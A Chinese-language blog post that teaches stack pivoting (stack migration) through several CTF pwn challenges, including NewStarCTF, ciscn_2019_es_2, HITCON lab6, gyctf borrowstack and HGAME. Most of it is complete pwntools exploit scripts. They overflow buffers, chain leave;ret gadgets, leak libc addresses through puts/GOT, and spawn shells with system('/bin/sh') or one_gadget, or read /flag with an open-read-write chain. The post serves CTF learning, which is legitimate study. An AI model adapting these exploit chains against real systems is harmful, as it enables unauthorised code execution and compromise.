栈迁移简单总结

最近几天把栈迁移的知识点重新整理了一下,下面是参考链接:

https://www.bilibili.com/video/BV1np4y1d7pu/?spm_id_from=333.788.recommend_more_video.0

https://www.yuque.com/cyberangel/rg9gdm/aooqgb

简介

目的:与输入函数搭配使用,实现任意地址写;变相增加溢出长度

本质:将rbp/rsp迁移至其他地方的一种手段

常用指令:leave;ret

leave指令之前:

mov rsp,rbp(mov rsp to rbp)

pop rbp(把rsp指向的内容赋值给rbp)

覆盖到rbp——任意地址写

要使passwd和rbp-4是同一块内存,把rbp修改为passwd+4,第二次读入需要的密码

攻防世界format2

base64解码后不超过12,也就是输入s不超过16,但覆盖s都要30

给了md5加密后的值,v5(输入)赋给input,input赋给v4,但是会溢出4个字节

因为上面的v2不知道要输什么,所以下面的system肯定不会直接执行

为了便于分析,input存入如下内容aaaabbbbcccc

那么auth依然正常退出到main,但是main的ebp变成了cccc,当main要退出时,执行leave指令mov esp,ebp

esp变成了cccc,那么pop ebp就使得ebp = [cccc],接下来,retn 即执行call [cccc+ 4]

把bbbb改成system的地址,把cccc(父函数main的ebp)改成input_addr,那么就能getshell

1
2
3
4
5
6
7
8
9
10
import base64
from pwn import *
#p=remote('61.147.171.105',55599)
#p=process("./9eb304f8cf4641339ef4fd4b0f204b86")
p=gdb.debug('./9eb304f8cf4641339ef4fd4b0f204b86')
sys_addr=0x08049284
input_addr=0x0811EB40
payload=b'aaaa'+p32(sys_addr)+p32(input_addr)
p.sendline(base64.b64encode(payload))
p.interactive()

覆盖到返回地址——增加栈迁移长度

泄露栈空间

直接打印栈地址

ret覆盖为leave_ret,那么会执行两次leave

先通过溢出把rbp改为0xa1

先mov rsp,rbp

执行lea的第二步——pop rbp之后rbp指向0xa1,rsp+8

执行ret,pop rip,rip指向leave_ret,同时rsp再加8

下面是再次执行完leave_ret之后,64位程序需要用ret来平衡堆栈

如果通过泄露libc基址算出/bin/sh地址可以直接填地址,这里只有字符串所以exp应该下面这样写

不泄露栈空间

前提:未开PIE保护

要迁移到bss段上,需要通过第二次read往bss段上写system相关的内容,下面read长度应该是0x60

把栈迁移到bss段,且不覆盖extern段,所以要在0x403000-0x404000范围内

rip中的ret执行,因为rsp在leave和ret中都要加8,第一个0x1会赋给rbp

这里stack实际上就是bss,高亮的0x58应该是0x50刚好覆盖数组

需要两个0x1填充,对应payload里的leave_ret两次移动rsp

————下面以三种不同迁移情况为例进一步介绍————

迁移到栈

必然要泄露栈相关地址才能迁移到栈

NewStarCTF2023-stack_migration

有了栈地址,直接迁移到栈上

没有system的情况下就用ret2libc,注意返回之后栈地址需要重新泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

filename='./pwn'
elf=ELF(filename)
libc=ELF('libc.so.6')
context(arch=elf.arch,os='linux',log_level='debug')

io=process(filename)


def inter():
io.interactive()
def sa(a,b):
io.sendafter(a,b)
def sla(a,b):
io.sendlineafter(a,b)
def ru(a):
io.recvuntil(a)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def s(a):
io.send(a)

main=0x4011fb
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x401333
leave_ret=0x4012aa
ret=0x40101a

sa("your name:",b'a'*8)
ru("I have a small gift for you: ")
stack=int(io.recv(14),16)+8#计算栈迁移的起始地址
payload1=b'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload1=payload1.ljust(0x50,b'a')
payload1=payload1+p64(stack)+p64(leave_ret)
sa("more infomation plz:",payload1)

ru("maybe I'll see you soon!")
puts_addr=get_addr()
libc_base=puts_addr-libc.sym['puts']
print('libc_base:',hex(libc_base))
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh'))

sa("your name:",b'a'*8)
ru("I have a small gift for you: ")
stack=int(io.recv(14),16)+8
payload2=b'a'*8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
payload2=payload2.ljust(0x50,b'a')
payload2=payload2+p64(stack)+p64(leave_ret)
sa("more infomation plz:",payload2)

inter()

ciscn_2019_es_2

imgimg

两次读入,32位程序,溢出覆盖到ret,第一次输入来泄露程序里的ebp地址,知道ebp的地址就能够推算出参数s在栈上的地址,第二次直接往栈上写入system,之后利用leave_ret把栈劫持到参数s的栈,让它去执行布置在栈上的system来获取shell

并不会打印出真正的flag

printf函数在输出的时候遇到’\0’会停止,如果将参数s全部填满,这样就没法在末尾补上’\0’,那样就会将ebp连带着输出

1
2
3
4
payload=b'a'*0x27+b'b'*1
p.sendline(payload)
p.recvuntil('b')
ebp=u32(p.recv(4))

泄露的ebp到参数的位置刚好是0x38

随便找个leave_ret

system找的是/bin/sh的地址,并不是字符串本身,所以/bin/sh前要有自己的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

filename='./pwn2'
elf=ELF(filename)
context(arch=elf.arch,os='linux',log_level='debug')
#io=remote('node5.anna.nssctf.cn',23507)
io=process(filename)

def s(a):
io.send(a)
def ru(a):
io.recvuntil(a)
def debug():
gdb.attach(io)
def inter():
io.interactive()

ru("Welcome, my friend. What's your name?\n")
s(b'a'*0x27+b'b')
ru(b'b')
ebp=u32(io.recv(4))
print('ebp:',hex(ebp))
s_addr=ebp-0x38

system_addr=elf.plt['system']
leave_ret=0x8048562
payload=p32(system_addr)+b'a'*4+p32(s_addr+0xc)+b'/bin/sh'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(s_addr-0x4)+p32(leave_ret)
s(payload)

inter()

2024basectf-stack_in_stack

泄露栈地址,可以迁移到buf上

搜索字符串找到泄露puts真实地址的地方

调试的时候可以发现执行pop rbp之前rsp和rbp已经指向同一个地址,所以这里用pop rbp代替leave

如果secret后面不加ret第二次打印buf的时候会报错,下面汇编语句表示栈未对齐,所以要加ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

filename='./attachment'
elf=ELF(filename)
libc=ELF('libc.so.6')
context(arch=elf.arch,os='linux',log_level='debug')
io=process(filename)
#io=remote('challenge.imxbt.cn',30753)

def s(a):
io.send(a)
def ru(a):
io.recvuntil(a)
def debug():
gdb.attach(io)
def get_addr():
io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')
def inter():
io.interactive()

secret=0x4011c6
leave_ret=0x4012F2
ret=0x40101a
main=0x401245
read=0x4012b5

#debug()
ru(b'It looks like something fell off mick0960.\n')
buf=int(io.recvline().strip(), 16)
print('buf:',hex(buf))
payload1=p64(secret)+p64(ret)+p64(main)
payload1=payload1.ljust(0x30,b'a')
payload1+=p64(buf-8)+p64(leave_ret)
s(payload1)
ru(b'You found the secret!\n')
puts_addr=int(io.recvline().strip(), 16)
print('puts_addr:',hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print('libc_base:',hex(libc_base))
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh'))
pop_rdi=libc_base+0x2a3e5

ru(b'It looks like something fell off mick0960.\n')
buf=int(io.recvline().strip(), 16)
print('buf:',hex(buf))
payload2=p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
payload2=payload2.ljust(0x30,b'a')
payload2+=p64(buf-8)+p64(leave_ret)
s(payload2)

inter()

迁移到bss段

HITCON-Training-master lab6-migration

32位程序

可以用的长度为为0x40-0x28=0x18,泄露libc24字节肯定不够,所以要栈迁移

直接泄露puts真实地址发现一直无法打印出来

后面发现puts_got最低字节是\x00,导致产生null字节截断,因此可以用setvbuf代替

pop1ret和pop3ret是read获取参数后把参数从栈上pop避免影响后续函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

io=process('./migration')
elf=ELF('./migration')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level="debug"

buf=elf.bss()+0x500
buf1=elf.bss()+0x400
read_plt=elf.plt['read']
leave_ret=0x08048418
ret=0x08048356

#gdb.attach(io)
pay1=b'a'*0x28+p32(buf)
pay1+=p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf)+p32(0x100)
io.sendafter('Try your best :\n',pay1)

puts_plt=elf.plt['puts']
pop1ret=0x0804836d
# 0x0804836d : pop ebx_ret
setvbuf_got=elf.got['setvbuf']

pay2=p32(buf1)+p32(puts_plt)+p32(pop1ret)+p32(setvbuf_got)
pay2+=p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
io.sendline(pay2)

setvbuf_addr=u32(io.recv(4))
success("setvbuf_addr = "+hex(setvbuf_addr))
libcbase=setvbuf_addr-libc.symbols['setvbuf']
success("libcbase = "+hex(libcbase))
system_addr=libcbase+libc.symbols['system']

pop3ret=0x08048569
# 0x08048569 : pop esi ; pop edi ; pop ebp ; ret

gdb.attach(io)
pay3=p32(buf)+p32(read_plt)+p32(pop3ret)+p32(0)+p32(buf)+p32(0x100)
pay3+=p32(system_addr)+p32(0xdeadbeef)+p32(buf)
io.sendline(pay3)
io.sendline("/bin/sh")

io.interactive()

2024羊城杯-pstack

溢出到ret_addr,进行栈迁移

出现bss + 0x30是因为保证读入的起始地址对齐

泄露libc基址后直接ret2libc,最后传了两个ret(可以两个都不传)

rsp在bss - 8的位置经过两次leave_ret刚好可以到p64(pop_rdi)实现传参

因为read0x30字节,所以payload要ljust填充到0x30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
from struct import pack
import time

filename='./pwn'
elf = ELF(filename)
libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 0
if debug:
io = remote('139.155.126.78',33002)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])
def get_sb() :
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))

bss=elf.bss()+0x500
ret=0x400506
leave_ret=0x4006db
pop_rdi=0x400773
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
read=0x4006c4
pop_rbp = 0x4005b0

payload = b'a'*0x30 + p64(bss + 0x30) + p64(read)
sa(b"Can you grasp this little bit of overflow?", payload)
payload2 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x300 + 0x30) + p64(read)
payload2 += p64(bss - 8) + p64(leave_ret)
s(payload2)
base = get_addr() - libc.sym['puts']
print(hex(base))
system, bin_sh = get_sb()
payload3 = (p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret) + p64(system)).ljust(0x30, b'\x00')
payload3+=p64(bss + 0x300 - 8) + p64(leave_ret)
s(payload3)
inter()

2023HGAMEweek1-orw

栈迁移之后用orw读flag

需要注意payload1里面如果把read改成vuln或者main会破坏新设置的rbp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

filename='./vuln'
elf=ELF(filename)
libc=ELF('./libc-2.31.so')
context(arch=elf.arch,os='linux',log_level='debug')
debug=1
if debug:
io=process(filename)
else:
io=remote('node5.anna.nssctf.cn',25163)

def s(a):
io.send(a)
def ru(a):
io.recvuntil(a)
def debug():
gdb.attach(io)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def inter():
io.interactive()

pop_rdi=0x401393
pop_rbp=0x40117d
ret=0x40101a
leave_ret=0x4012ee
read=0x4012cf
main=elf.sym['main']
buf=elf.bss()+0x500
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

#debug()
payload1=b'a'*0x100+p64(buf+0x100)+p64(read)
s(payload1)
payload2=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp)+p64(buf+0x200+0x100)+p64(read)
payload2=payload2.ljust(0x100,b'a')
payload2+=p64(buf-0x8)+p64(leave_ret)
s(payload2)

puts_addr=get_addr()
libc_base=puts_addr-libc.sym['puts']
print('libc_base:',hex(libc_base))

open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x142c92

payload3=b'/flag\x00\x00\x00'+p64(pop_rdi)+p64(buf+0x200)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload3+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(buf+0x300)+p64(pop_rdx)+p64(0x50)+p64(read_addr)
payload3+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(buf+0x300)+p64(pop_rdx)+p64(0x50)+p64(write_addr)
payload3=payload3.ljust(0x100,b'a')
payload3+=p64(buf+0x200)+p64(leave_ret)
s(payload3)
inter()

2020gyctf-borrowstack

1.bank的地址距离got表和plt表存放数据的位置太近(0x50),如果不用ret滑梯抬高栈帧(ret的时候rsp+8),接下来执行函数时,由于栈向上增长,可能会覆盖重要数据,导致函数无法成功执行。(0x100-0x20)/0x8=28,因此28是能写入的ret数量极限

2.后半段用one_gadget去getshell,将泄露的puts地址的最后3位输进去,找到libc版本,下载下来找一下one_gadget的地址,如果用system(“/bin/sh”),由于该函数执行需要大一点的栈空间,无法执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *

filename='./gyctf_2020_borrowstack'
elf = ELF(filename)

context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('node5.buuoj.cn',27812)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
bank=0x601080
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
pop_rdi=0x400703
leave_ret=0x400699
ret=0x4004c9

payload1=b'a'*0x60+p64(bank-8)+p64(leave_ret)
s(payload1)
payload2=p64(ret)*28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
s(payload2)
puts_addr=get_addr()
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
print('libc_base:',hex(libc_base))

shell=libc_base+0x4526a
payload3 = b"a"*0x68 + p64(shell)
s(payload3)
s(b'a')

inter()

类似pstack的思路也能打通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
from LibcSearcher import *


filename='./gyctf_2020_borrowstack'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = remote('node5.buuoj.cn',26331)
else:
io = process(filename)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r() : return io.recv()
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#return u32(io.recv()[0:4])
def get_sb() :
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))

bss=elf.bss()+0x500
ret=0x4004c9
leave_ret=0x400699
pop_rdi=0x400703
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
read=0x400660
pop_rbp = 0x400590

#debug()
payload = b'a'*0x60 + p64(bss + 0x60) + p64(read)
s(payload)
s(b'a'*0x100)
payload2 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x300 + 0x60) + p64(read)
payload2=payload2.ljust(0x60,b'a')
payload2 += p64(bss - 8) + p64(leave_ret)
s(payload2)
s(b'a'*0x100)
puts_addr=get_addr()
print('puts_addr:',hex(puts_addr))
libc=LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
print('libc_base:',hex(libc_base))
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload3 = p64(pop_rdi) + p64(bin_sh) + p64(system)
payload3=payload3.ljust(0x60,b'a')
payload3+=p64(bss + 0x300 - 8) + p64(leave_ret)
s(payload3)
s('a'*0x100)
inter()

迁移到随机地址

一般是覆盖不到rbp且有其他漏洞,利用函数本身的两次leave_ret,由于第二次leave_ret时地址rbp随机导致exp概率打通

2024HGAMEweek1-ezfmt

不能有字符p和s,利用vuln和main的两次leave_ret

有后门

格式化字符串是第十个参数,到rbp距离为8,所以偏移总共是18

把0x10修改为0x48需要找二级地址

概率能通是因为地址随机,rip最后有概率会指向s栈空间,所以要尽可能多在s布置system的地址,会执行系统自带的两次leave_ret

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.arch="amd64"
context.log_level="debug"

p = process("./vuln")
#p = remote("139.196.183.57",32325)

payload = b'%72c%18$hhnaaaaa'+p64(0x40123D)*6
#%120c%18$hhnaaaa,改成啥数字都一样,只要是8的倍数
p.sendafter(b'M3?\n',payload)

p.interactive()

栈迁移简单总结
https://j1ya-22.github.io/2026/01/07/栈迁移简单总结/
作者
j1ya
发布于
2026年1月7日
许可协议